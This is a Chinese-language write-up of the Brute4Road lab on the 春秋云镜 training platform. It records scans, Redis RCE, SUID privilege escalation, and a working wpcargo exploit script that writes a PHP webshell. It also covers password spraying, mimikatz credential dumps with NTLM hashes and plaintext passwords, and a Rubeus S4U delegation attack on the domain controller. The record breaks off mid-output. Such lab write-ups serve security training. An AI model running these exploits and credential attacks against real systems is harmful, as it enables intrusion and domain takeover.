春秋云镜 Brute4Road Writeup
flag01
fscan
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$ fscan ./fscan_darwin_arm64 -h 39.99.130.229
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.2
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 39.99.130.229 is alive
[*] Icmp alive hosts len is: 1
39.99.130.229:80 open
39.99.130.229:6379 open
39.99.130.229:21 open
39.99.130.229:22 open
[*] alive ports len is: 4
start vulscan
[*] WebTitle: http://39.99.130.229 code:200 len:4833 title:Welcome to CentOS
[+] Redis:39.99.130.229:6379 unauthorized file:/usr/local/redis/db/dump.rdb
[+] ftp://39.99.130.229:21:anonymous
[->]pub
已完成 4/4
[*] 扫描结束,耗时: 36.850577042s
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redis 未授权, 连过去发现是 5.0.x 版本, 一眼主从复制 RCE
还有一个 ftp 匿名登录, 但是感觉好像没啥用?
需要 root 权限
查找 SUID 命令
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$ find / -user root -perm -4000 -print 2>/dev/null
/usr/sbin/pam_timestamp_check
/usr/sbin/usernetctl
/usr/sbin/unix_chkpwd
/usr/bin/at
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/chage
/usr/bin/base64
/usr/bin/umount
/usr/bin/su
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/crontab
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/pkexec
/usr/libexec/dbus-1/dbus-daemon-launch-helper
/usr/lib/polkit-1/polkit-agent-helper-1
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直接用 base64
flag02
本机没有 ifconfig 命令, 于是传了个 cdk
当然直接上 Viper 然后看 ip 也行
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./cdk ifconfig
2023/08/04 14:15:04 [+] run ifconfig, using GetLocalAddresses()
2023/08/04 14:15:04 lo 127.0.0.1/8
2023/08/04 14:15:04 lo ::1/128
2023/08/04 14:15:04 eth0 172.22.2.7/16
2023/08/04 14:15:04 eth0 fe80::216:3eff:fe1c:e99b/64
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内网 fscan
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./fscan -h 172.22.2.0/24
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.2
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 172.22.2.3 is alive
(icmp) Target 172.22.2.7 is alive
(icmp) Target 172.22.2.16 is alive
(icmp) Target 172.22.2.18 is alive
(icmp) Target 172.22.2.34 is alive
[*] Icmp alive hosts len is: 5
172.22.2.3:88 open
172.22.2.16:1433 open
172.22.2.34:445 open
172.22.2.16:445 open
172.22.2.18:445 open
172.22.2.3:445 open
172.22.2.34:139 open
172.22.2.34:135 open
172.22.2.16:139 open
172.22.2.18:139 open
172.22.2.3:139 open
172.22.2.16:135 open
172.22.2.7:80 open
172.22.2.3:135 open
172.22.2.16:80 open
172.22.2.18:80 open
172.22.2.18:22 open
172.22.2.7:22 open
172.22.2.7:21 open
172.22.2.7:6379 open
[*] alive ports len is: 20
start vulscan
[*] NetInfo:
[*]172.22.2.3
[->]DC
[->]172.22.2.3
[*] WebTitle: http://172.22.2.16 code:404 len:315 title:Not Found
[*] NetInfo:
[*]172.22.2.16
[->]MSSQLSERVER
[->]172.22.2.16
[*] NetBios: 172.22.2.34 XIAORANG\CLIENT01
[*] NetInfo:
[*]172.22.2.34
[->]CLIENT01
[->]172.22.2.34
[*] WebTitle: http://172.22.2.7 code:200 len:4833 title:Welcome to CentOS
[*] 172.22.2.3 (Windows Server 2016 Datacenter 14393)
[*] NetBios: 172.22.2.3 [+]DC DC.xiaorang.lab Windows Server 2016 Datacenter 14393
[*] 172.22.2.16 (Windows Server 2016 Datacenter 14393)
[*] NetBios: 172.22.2.16 MSSQLSERVER.xiaorang.lab Windows Server 2016 Datacenter 14393
[*] NetBios: 172.22.2.18 WORKGROUP\UBUNTU-WEB02
[+] ftp://172.22.2.7:21:anonymous
[->]pub
[*] WebTitle: http://172.22.2.18 code:200 len:57738 title:又一个WordPress站点
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整理信息
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172.22.2.3 DC
172.22.2.34 CLIENT01
172.22.2.16 MSSQLSERVER 1433,80
172.22.2.18 UBUNTU-WEB02, 80, 22
172.22.2.7 本机
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172.22.2.18 有 wordpress, wpscan 扫一遍
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$ proxychains wpscan --url "http://172.22.2.18/"
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.24
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://172.22.2.18/ [172.22.2.18]
[+] Started: Fri Aug 4 14:26:23 2023
Interesting Finding(s):
[+] Headers
| Interesting Entry: Server: Apache/2.4.41 (Ubuntu)
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://172.22.2.18/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://172.22.2.18/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] Upload directory has listing enabled: http://172.22.2.18/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://172.22.2.18/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 6.0 identified (Insecure, released on 2022-05-24).
| Found By: Rss Generator (Passive Detection)
| - http://172.22.2.18/index.php/feed/, <generator>https://wordpress.org/?v=6.0</generator>
| - http://172.22.2.18/index.php/comments/feed/, <generator>https://wordpress.org/?v=6.0</generator>
[+] WordPress theme in use: twentytwentytwo
| Location: http://172.22.2.18/wp-content/themes/twentytwentytwo/
| Last Updated: 2023-03-29T00:00:00.000Z
| Readme: http://172.22.2.18/wp-content/themes/twentytwentytwo/readme.txt
| [!] The version is out of date, the latest version is 1.4
| Style URL: http://172.22.2.18/wp-content/themes/twentytwentytwo/style.css?ver=1.2
| Style Name: Twenty Twenty-Two
| Style URI: https://wordpress.org/themes/twentytwentytwo/
| Description: Built on a solidly designed foundation, Twenty Twenty-Two embraces the idea that everyone deserves a...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Css Style In Homepage (Passive Detection)
|
| Version: 1.2 (80% confidence)
| Found By: Style (Passive Detection)
| - http://172.22.2.18/wp-content/themes/twentytwentytwo/style.css?ver=1.2, Match: 'Version: 1.2'
[+] Enumerating All Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)
[i] Plugin(s) Identified:
[+] wpcargo
| Location: http://172.22.2.18/wp-content/plugins/wpcargo/
| Last Updated: 2023-07-19T14:54:00.000Z
| [!] The version is out of date, the latest version is 6.10.9
|
| Found By: Urls In Homepage (Passive Detection)
|
| Version: 6.x.x (80% confidence)
| Found By: Readme - Stable Tag (Aggressive Detection)
| - http://172.22.2.18/wp-content/plugins/wpcargo/readme.txt
[+] Enumerating Config Backups (via Passive and Aggressive Methods)
Checking Config Backups - Time: 00:00:16 <================> (137 / 137) 100.00% Time: 00:00:16
[i] No Config Backups Found.
[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
[+] Finished: Fri Aug 4 14:26:51 2023
[+] Requests Done: 172
[+] Cached Requests: 5
[+] Data Sent: 42.801 KB
[+] Data Received: 250.835 KB
[+] Memory used: 300.25 MB
[+] Elapsed time: 00:00:28
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wordpress 一般都是先从插件入手, 实在不行了再去爆破用户名密码
wpcargo 插件存在未授权 RCE, exp 如下
https://wpscan.com/vulnerability/5c21ad35-b2fb-4a51-858f-8ffff685de4a
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import sys
import binascii
import requests
# This is a magic string that when treated as pixels and compressed using the png
# algorithm, will cause <?=$_GET[1]($_POST[2]);?> to be written to the png file
payload = '2f49cf97546f2c24152b216712546f112e29152b1967226b6f5f50'
def encode_character_code(c: int):
return '{:08b}'.format(c).replace('0', 'x')
text = ''.join([encode_character_code(c) for c in binascii.unhexlify(payload)])[1:]
destination_url = 'http://172.22.2.18/'
cmd = 'id'
# With 1/11 scale, '1's will be encoded as single white pixels, 'x's as single black pixels.
requests.get(
f"{destination_url}wp-content/plugins/wpcargo/includes/barcode.php?text={text}&sizefactor=.090909090909&size=1&filepath=/var/www/html/webshell.php"
)
# We have uploaded a webshell - now let's use it to execute a command.
print(requests.post(
f"{destination_url}webshell.php?1=system", data={"2": cmd}
).content.decode('ascii', 'ignore'))
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蚁剑连接
ps aux 发现开了 smb 服务
smb 相关的文件
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(www-data:/tmp) $ find / -name smb* 2>/dev/null
/boot/grub/i386-pc/smbios.mod
/run/samba/smbd_cleanupd.tdb
/run/samba/smbXsrv_open_global.tdb
/run/samba/smbXsrv_tcon_global.tdb
/run/samba/smbXsrv_session_global.tdb
/run/samba/smbXsrv_client_global.tdb
/run/samba/smbXsrv_version_global.tdb
/run/samba/smbd.pid
/etc/apparmor.d/samba/smbd-shares
/etc/apparmor.d/abstractions/smbpass
/etc/systemd/system/multi-user.target.wants/smbd.service
/etc/samba/smb.conf
/etc/init.d/smbd
/sys/fs/cgroup/pids/system.slice/smbd.service
/sys/fs/cgroup/blkio/system.slice/smbd.service
/sys/fs/cgroup/devices/system.slice/smbd.service
/sys/fs/cgroup/memory/system.slice/smbd.service
/sys/fs/cgroup/cpu,cpuacct/system.slice/smbd.service
/sys/fs/cgroup/systemd/system.slice/smbd.service
/sys/fs/cgroup/unified/system.slice/smbd.service
/sys/firmware/qemu_fw_cfg/by_name/etc/smbios
/sys/firmware/qemu_fw_cfg/by_name/etc/smbios/smbios-tables
/sys/firmware/qemu_fw_cfg/by_name/etc/smbios/smbios-anchor
/sys/firmware/dmi/tables/smbios_entry_point
/var/lib/systemd/deb-systemd-helper-enabled/smbd.service.dsh-also
/var/lib/systemd/deb-systemd-helper-enabled/multi-user.target.wants/smbd.service
/usr/sbin/smbd
/usr/bin/smbpasswd
/usr/bin/smbcontrol
/usr/bin/smbstatus
/usr/src/linux-headers-5.4.0-26-generic/include/config/dell/smbios
/usr/src/linux-headers-5.4.0-26-generic/include/config/dell/smbios.h
/usr/src/linux-headers-5.4.0-26-generic/include/config/i2c/smbus.h
/usr/src/linux-headers-5.4.0-26-generic/include/config/rmi4/smb.h
/usr/src/linux-headers-5.4.0-26-generic/include/config/charger/smb347.h
/usr/src/linux-headers-5.4.0-26-generic/include/config/mouse/elan/i2c/smbus.h
/usr/src/linux-headers-5.4.0-26-generic/include/config/mouse/ps2/synaptics/smbus.h
/usr/src/linux-headers-5.4.0-26-generic/include/config/mouse/ps2/elantech/smbus.h
/usr/src/linux-headers-5.4.0-26-generic/include/config/mouse/ps2/smbus.h
/usr/src/linux-headers-5.4.0-110/include/trace/events/smbus.h
/usr/src/linux-headers-5.4.0-110/include/linux/power/smb347-charger.h
/usr/src/linux-headers-5.4.0-110-generic/include/config/dell/smbios
/usr/src/linux-headers-5.4.0-110-generic/include/config/dell/smbios.h
/usr/src/linux-headers-5.4.0-110-generic/include/config/i2c/smbus.h
/usr/src/linux-headers-5.4.0-110-generic/include/config/rmi4/smb.h
/usr/src/linux-headers-5.4.0-110-generic/include/config/charger/smb347.h
/usr/src/linux-headers-5.4.0-110-generic/include/config/mouse/elan/i2c/smbus.h
/usr/src/linux-headers-5.4.0-110-generic/include/config/mouse/ps2/synaptics/smbus.h
/usr/src/linux-headers-5.4.0-110-generic/include/config/mouse/ps2/elantech/smbus.h
/usr/src/linux-headers-5.4.0-110-generic/include/config/mouse/ps2/smbus.h
/usr/src/linux-headers-5.4.0-26/include/trace/events/smbus.h
/usr/src/linux-headers-5.4.0-26/include/linux/power/smb347-charger.h
/usr/share/bash-completion/completions/smbpasswd
/usr/share/bash-completion/completions/smbtar
/usr/share/bash-completion/completions/smbget
/usr/share/bash-completion/completions/smbtree
/usr/share/bash-completion/completions/smbcquotas
/usr/share/bash-completion/completions/smbclient
/usr/share/bash-completion/completions/smbcacls
/usr/share/doc/samba/examples/smbadduser.in
/usr/share/doc/samba/examples/printing/smbprint.sysv
/usr/share/doc/samba-common/examples/smb.conf.default
/usr/share/man/man8/smbd.8.gz
/usr/share/man/man8/smbpasswd.8.gz
/usr/share/man/man1/smbcontrol.1.gz
/usr/share/man/man1/smbstatus.1.gz
/usr/share/man/man5/smbpasswd.5.gz
/usr/share/man/man5/smb.conf.5.gz
/usr/share/samba/smb.conf
/usr/lib/python3/dist-packages/samba/samba3/smbd.cpython-38-x86_64-linux-gnu.so
/usr/lib/python3/dist-packages/samba/dcerpc/smb_acl.cpython-38-x86_64-linux-gnu.so
/usr/lib/python3/dist-packages/samba/tests/__pycache__/smbd_fuzztest.cpython-38.pyc
/usr/lib/python3/dist-packages/samba/tests/__pycache__/smbd_base.cpython-38.pyc
/usr/lib/python3/dist-packages/samba/tests/__pycache__/smb.cpython-38.pyc
/usr/lib/python3/dist-packages/samba/tests/smbd_fuzztest.py
/usr/lib/python3/dist-packages/samba/tests/smbd_base.py
/usr/lib/python3/dist-packages/samba/tests/smb.py
/usr/lib/python3/dist-packages/samba/tests/blackbox/__pycache__/smbcacls.cpython-38.pyc
/usr/lib/python3/dist-packages/samba/tests/blackbox/__pycache__/smbcontrol.cpython-38.pyc
/usr/lib/python3/dist-packages/samba/tests/blackbox/__pycache__/smbcontrol_process.cpython-38.pyc
/usr/lib/python3/dist-packages/samba/tests/blackbox/__pycache__/smbcacls_basic.cpython-38.pyc
/usr/lib/python3/dist-packages/samba/tests/blackbox/smbcontrol.py
/usr/lib/python3/dist-packages/samba/tests/blackbox/smbcontrol_process.py
/usr/lib/python3/dist-packages/samba/tests/blackbox/smbcacls.py
/usr/lib/python3/dist-packages/samba/tests/blackbox/smbcacls_basic.py
/usr/lib/systemd/system/smbd.service
/usr/lib/modules/5.4.0-110-generic/kernel/drivers/power/supply/smb347-charger.ko
/usr/lib/modules/5.4.0-26-generic/kernel/drivers/power/supply/smb347-charger.ko
/usr/lib/grub/i386-pc/smbios.mod
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smb 版本信息
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$ proxychains nmap -sV -sT 172.22.2.18 -p 139,445
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-04 14:47 CST
Stats: 0:00:03 elapsed; 0 hosts completed (0 up), 1 undergoing Ping Scan
Parallel DNS resolution of 1 host. Timing: About 0.00% done
Nmap scan report for 172.22.2.18
Host is up (0.17s latency).
PORT STATE SERVICE VERSION
139/tcp open netbios-ssn Samba smbd 4.6.2
445/tcp open netbios-ssn Samba smbd 4.6.2
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.27 seconds
|
好像没啥可利用的地方, 于是去翻了翻本地的 mysql
3306 端口只监听 127.0.0.1, 需要端口转发或者直接用 adminer.php 连接
flag02
flag03
另外一个表
看起来像是密码, 于是本地保存下来去跑了一遍内网的 smb 和 mssql
smb
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./fscan -h 172.22.2.0/24 -m smb -pwdf pass.txt
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.2
-m smb start scan the port: 445
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 172.22.2.3 is alive
(icmp) Target 172.22.2.7 is alive
(icmp) Target 172.22.2.16 is alive
(icmp) Target 172.22.2.18 is alive
(icmp) Target 172.22.2.34 is alive
[*] Icmp alive hosts len is: 5
172.22.2.3:445 open
172.22.2.34:445 open
172.22.2.16:445 open
172.22.2.18:445 open
[*] alive ports len is: 4
start vulscan
[+] SMB:172.22.2.18:445:administrator pAssw0rd
[+] SMB:172.22.2.16:445:admin pAssw0rd
已完成 4/4
[*] 扫描结束,耗时: 19.857359993s
|
172.22.2.16:445:admin pAssw0rd 连接过去发现好像并没有什么有用的东西, 另外一个记得是连不上的
mssql
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./fscan -h 172.22.2.16 -m mssql -pwdf pass.txt
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.2
-m mssql start scan the port: 1433
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 172.22.2.16 is alive
[*] Icmp alive hosts len is: 1
172.22.2.16:1433 open
[*] alive ports len is: 1
start vulscan
[+] mssql:172.22.2.16:1433:sa ElGNkOiC
已完成 1/1
[*] 扫描结束,耗时: 1.249542963s
|
MDUT
whoami
考虑 SweetPotato 提权
flag03
flag04
BloodHound
MSSQLSERVER 配置了到域控的约束委派, 可以通过 S4U 伪造高权限 ST 拿下域控
进程列表中可以看到存在 William 的会话
mimikatz 导出凭据
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meterpreter > creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============
Username Domain NTLM SHA1 DPAPI
-------- ------ ---- ---- -----
MSSQLSERVER$ XIAORANG 5f0168d282cc28f82f6b757373c4f953 e67527667f01f1f04408c4e955d184f980e8c780
MSSQLSERVER$ XIAORANG cea3e66a2715c71423e7d3f0ff6cd352 6de4e8f192569bbc44ae94f273870635ae878094
MSSQLSERVER01 MSSQLSERVER ded5ad90b3d8560838a777039641c673 a2cd9d2963f29b162847e8a1a2c19d5e0641a162
MSSQLSERVER02 MSSQLSERVER 3aa518732551a136003ea41f9599a1ec 6f1ed1f677201d998667bd8e3b81cfb52b9a138a
MSSQLSERVER03 MSSQLSERVER 2f7c88f56a7236f476d18ea6b5a2d33a 5bc2d09b8b0f7c11a1fc3fb2f97b713ac116b6eb
MSSQLSERVER04 MSSQLSERVER 36bd3cceea3d413e8111b0bef32da84d 414d2c783a3fb2ba855e41c243c583bb0604fe02
MSSQLSERVER05 MSSQLSERVER b552da4a7f732c40ca73c01dfaea7ebc 7f041a31e763eed45fb881c7f77831b888c3051d
MSSQLSERVER06 MSSQLSERVER aa206c617e2194dd76b766b7e3c92bc6 62dd8046a71c17fe7263bab86b1ca4506f8c373c
MSSQLSERVER07 MSSQLSERVER f9f990df1bc869cc205d2513b788a5b8 79746cfe5a2f1eec4350a6b64d87b01455ef9030
MSSQLSERVER08 MSSQLSERVER 465034ebde60dfae889c3e493e1816bf c96428917f7c8a15ea0370716dee153842afaf02
MSSQLSERVER09 MSSQLSERVER 2dd7fe93426175a9ff3fa928bcf0eb77 a34c0482568fc9329f33ccdc1852fab9ef65bcd1
MSSQLSERVER10 MSSQLSERVER c3e7aa593081ae1b210547da7d46819b 3bf20cfece021438cf86617f5cabc5e7a69038f7
MSSQLSERVER11 MSSQLSERVER cee10216b2126aa1a3f239b8201120ef 4867093fc519f7d1e91d80e3790ef8a17a7fdd18
MSSQLSERVER12 MSSQLSERVER 672702a4bd7524269b77dbb6b2e75911 c7a828609e4912ab752b43deda8351dc1a8ea240
MSSQLSERVER13 MSSQLSERVER b808e9a53247721e84cc314c870080c5 47a42f4a6eed2b2d90f342416f42e2696052f546
MSSQLSERVER14 MSSQLSERVER 7c8553b614055d945f8b8c3cf8eae789 1efdc2efed20ca503bdefea5aef8aa0ea04c257b
MSSQLSERVER15 MSSQLSERVER 6eeb34930fa71d82a464ce235261effd 1dfc6d66d9cfdbaa5fc091fedde9a3387771d09b
MSSQLSERVER16 MSSQLSERVER 42c0eed1872923f6b60118d9711282a6 dcf14b63c01e9d5a9d4d9c25d1b2eb6c65c2e3a6
MSSQLSERVER17 MSSQLSERVER 82fe575c8bb18d01df45eb54d0ebc3b4 13b87dcba388982dcc44feeba232bb50aa29c7e9
MSSQLSERVER18 MSSQLSERVER 31de1b5e8995c7f91070f4a409599c50 070c0d12760e50812236b5717c75222a206aace8
MSSQLSERVER19 MSSQLSERVER 9ce3bb5769303e1258f792792310e33b 1a2452c461d89c45f199454f59771f17423e72f9
MSSQLSERVER20 MSSQLSERVER f5c512b9cb3052c5ad35e526d44ba85a b09c8d9463c494d36e1a4656c15af8e1a7e4568f
William XIAORANG 8853911fd59e8d0a82176e085a2157de e4fd18cfd47b9a77836c82283fb560e6f465bc40 da3fc187c1ff105853ec62c10cddd26b
wdigest credentials
===================
Username Domain Password
-------- ------ --------
(null) (null) (null)
MSSQLSERVER$ XIAORANG (null)
MSSQLSERVER01 MSSQLSERVER (null)
MSSQLSERVER02 MSSQLSERVER (null)
MSSQLSERVER03 MSSQLSERVER (null)
MSSQLSERVER04 MSSQLSERVER (null)
MSSQLSERVER05 MSSQLSERVER (null)
MSSQLSERVER06 MSSQLSERVER (null)
MSSQLSERVER07 MSSQLSERVER (null)
MSSQLSERVER08 MSSQLSERVER (null)
MSSQLSERVER09 MSSQLSERVER (null)
MSSQLSERVER10 MSSQLSERVER (null)
MSSQLSERVER11 MSSQLSERVER (null)
MSSQLSERVER12 MSSQLSERVER (null)
MSSQLSERVER13 MSSQLSERVER (null)
MSSQLSERVER14 MSSQLSERVER (null)
MSSQLSERVER15 MSSQLSERVER (null)
MSSQLSERVER16 MSSQLSERVER (null)
MSSQLSERVER17 MSSQLSERVER (null)
MSSQLSERVER18 MSSQLSERVER (null)
MSSQLSERVER19 MSSQLSERVER (null)
MSSQLSERVER20 MSSQLSERVER (null)
William XIAORANG (null)
kerberos credentials
====================
Username Domain Password
-------- ------ --------
(null) (null) (null)
MSSQLSERVER$ xiaorang.lab ......(略)
MSSQLSERVER$ XIAORANG.LAB (null)
MSSQLSERVER$ xiaorang.lab (p4Spnv`&9xTZ=D'D/lz[a:94O:$E!7&zfcMza9k;Se"&>cBCBU0bxw.xL"B>\GmtUT,<:q3Yxfq#`O3sLI;OK" (_T_T5- $zV]-i;)c$qIj&$RgttdZI"m
MSSQLSERVER01 MSSQLSERVER (null)
MSSQLSERVER02 MSSQLSERVER (null)
MSSQLSERVER03 MSSQLSERVER (null)
MSSQLSERVER04 MSSQLSERVER (null)
MSSQLSERVER05 MSSQLSERVER (null)
MSSQLSERVER06 MSSQLSERVER (null)
MSSQLSERVER07 MSSQLSERVER (null)
MSSQLSERVER08 MSSQLSERVER (null)
MSSQLSERVER09 MSSQLSERVER (null)
MSSQLSERVER10 MSSQLSERVER (null)
MSSQLSERVER11 MSSQLSERVER (null)
MSSQLSERVER12 MSSQLSERVER (null)
MSSQLSERVER13 MSSQLSERVER (null)
MSSQLSERVER14 MSSQLSERVER (null)
MSSQLSERVER15 MSSQLSERVER (null)
MSSQLSERVER16 MSSQLSERVER (null)
MSSQLSERVER17 MSSQLSERVER (null)
MSSQLSERVER18 MSSQLSERVER (null)
MSSQLSERVER19 MSSQLSERVER (null)
MSSQLSERVER20 MSSQLSERVER (null)
William XIAORANG.LAB Willg1UoO6Jt
mssqlserver$ XIAORANG.LAB ......(略)
|
Rubeus 申请 ST
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c:\Users\MSSQLSERVER> Rubeus.exe s4u /user:MSSQLSERVER$ /rc4:5f0168d282cc28f82f6b757373c4f953 /domain:xiaorang.lab /impersonateuser:Administrator /msdsspn:cifs/DC.xiaorang.lab /nowrap /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.3
[*] Action: S4U
[*] Using rc4_hmac hash: 5f0168d282cc28f82f6b757373c4f953
[*] Building AS-REQ (w/ preauth) for: 'xiaorang.lab\MSSQLSERVER$'
[*] Using domain controller: 172.22.2.3:88
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIFmjCCBZagAwIBBaEDAgEWooIEqzCCBKdhggSjMIIEn6ADAgEFoQ4bDFhJQU9SQU5HLkxBQqIhMB+gAwIBAqEYMBYbBmtyYnRndBsMeGlhb3JhbmcubGFio4IEYzCCBF+gAwIBEqEDAgECooIEUQSCBE2Fz7FstQiXH5t+n9FViO0C8Pf5BcI6S9xUfkwaYf2NecqckIat1ADgdlKLChzmhoWhk2KN+oanfXUpJ3GNdobJRTBm/L1aPfq4dnRbUjz38kzMHsy+dOZHp1r5EfNM2KIkXYVjqknrv3tOUAFwKsDj8jYVo/XAM/OEOAPOTZzJ7JO3HXJVKpGThL1Nm6LGibfoORwDiZfyT6aiOEdL5LruTGXi8WV4lPGpnvjenYRPaB1AY4x4A+za3jakzgaMJnk5AbyAC74Ut7IoiF7QgiBzQ5u/+I+U8PvgPpOzV3gSDxGdMD1BKY/3BrppaEKuvtcIEqtFt2g7dn6ZTxP5OHpSPs+p42g85r73W6wjyNeB2rEmkKISHaHkT4CmSq9oirQrQFiVK8IqfpoU+1WUkHs370iaU5ZyIXo75Cb5s6WzO6CeyxYKaLCG3Ya+F9ifDzLhe+5eOHi/azarCTujLsIvJLf6cDzNbUEfSigFiWlACRG+Cye0DxEGqM54vkX7KTW2ClE4yUrAp+F7uJgNiERvGS5pB5GtnRHENZ0+5dXGxfqHb/4KjqcQ26qe4ycc9bejz9QIZaFO11xJGCB+8KJurtWBLmXCGR6TTYJvzxpOjbjRBhlqGNH5oVnHEWr/+afNEO3zhdn8KOGuZTWp+VUqOXrJishxdYVUj5lV46P/4bn4JDIXl6UiT4SUsbW89IsWZCOKbezuiTOOf3hgGh8aNZobIld/YJQR7t1bXV17r9jqeOYG+WquEt02+2mUWaGxx4VF64MPBVyqV89IF6dZvc2aCunsX1GxKicnJcmlfHE3IpVSniU7JE0J9j9o/WKzlpBOk3YewgondPzcUdFnxNT3c8RDfBuACGQlYousrjKYDG6BkdAAVgnj8ACjV4WGJOzTXr7EKzNyuBwOv8Hg0uOPCAGznulCFyfzvyEcyzcfNZJDx9SJTjO9LE3y2Z5gxKVVU+UeTZD9/yRvdDktfIwAwLuMaiy+iNu6lSbIMhwxEtKTF5XrcQjMdND42eHzn8vnnYrQbaBBlEb1ceQMyTYZD4xoB4v+TZAuOwBesAqPFHb7Py5bZm700Fs83murkCEFavsySBZQeVabENet39+g9l8kt7+MClRHP+SZjt29ifu71ofL1f2QLbxlm3cH6akOyoG6Mqkx2U74s2fdMwS+Ou95HObrG6DdnXpfYkoFm4ucM/OMR01nRWgoQWNkuzKONnK2PwKVCFM97+lSMZFEZ7yX/WN4NaAzWXEseJDQxiJZCPzdqx5906Z64kDJhFZzZj8Kx1U5sGLUtDnvYY1J+ns++Jmq32lIiLFLpfuyMTpWv3kTwZoFgUBvx0ylJbAUK6hzYGAP7gJTSRWoNbKDvMxxqyppdBkoZoQoxbT0VaVUpAomzH6RYbVy0C/ZZ3Cjc4aSgibUPHIE70YzL4U4JfEN5m57nOrqTMhquKAVcglO7xeYgha5pCCjgdowgdegAwIBAKKBzwSBzH2ByTCBxqCBwzCBwDCBvaAbMBmgAwIBF6ESBBCFLaW2aLSXwQbuKKTO7Ji+oQ4bDFhJQU9SQU5HLkxBQqIZMBegAwIBAaEQMA4bDE1TU1FMU0VSVkVSJKMHAwUAQOEAAKURGA8yMDIzMDgwNDA3NTQyOFqmERgPMjAyMzA4MDQxNzU0MjhapxEYDzIwMjMwODExMDc1NDI4WqgOGwxYSUFPUkFORy5MQUKpITAfoAMCAQKhGDAWGwZrcmJ0Z3QbDHhpYW9yYW5nLmxhYg==
[*] Action: S4U
[*] Building S4U2self request for: '[email protected]'
[*] Using domain controller: DC.xiaorang.lab (172.22.2.3)
[*] Sending S4U2self request to 172.22.2.3:88
[+] S4U2self success!
[*] Got a TGS for 'Administrator' to '[email protected]'
[*] base64(ticket.kirbi):
